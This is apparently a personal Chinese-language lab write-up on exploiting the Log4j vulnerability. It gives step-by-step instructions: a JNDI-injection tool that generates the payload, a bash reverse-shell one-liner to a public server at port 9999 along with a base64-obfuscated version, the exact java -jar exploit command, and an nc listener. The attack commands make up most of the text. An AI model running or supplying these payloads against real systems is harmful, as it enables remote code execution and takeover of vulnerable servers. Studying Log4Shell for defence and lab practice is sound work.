卡了我好多天的难题终于解决了铁子们,太激动了。之前做这个实验用的是别人的服务器,没遇到过这个问题。这次自己买了个服务器,没想到却发生了反弹失败的情况。
log4j反弹地址一定要公网服务器,所以我买了一台公网服务器。
但是公网服务器的端口策略是没有开放的,导致监听端口没办法得到回应,最后失败。
请教大屌之后,才解决了这个难题,大屌yyds。接下来记录一下我的实验过程。
环境
一个log4j漏洞的网站
一台公网服务器(端口策略开放)
接下来的实验将以 115.115.115.115 代替这台倒霉服务器
实验步骤
需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload
工具地址:
https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
使用如下网址来加密反弹shell命令
加密网址:
https://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell方法:
https://www.freebuf.com/articles/system/178150.html
bash -i >& /dev/tcp/115.115.115.115/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMTE1LjExNS4xMTUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}
vps打开工具路径,输入命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “要执行的命令” -A “你自己的公网服务器地址”
举例:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMTE1LjExNS4xMTUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}” -A “115.115.115.115”
nc监听服务器地址
nc -lnvp 9999
将给出的红色payload打入目标站点
反弹shell成功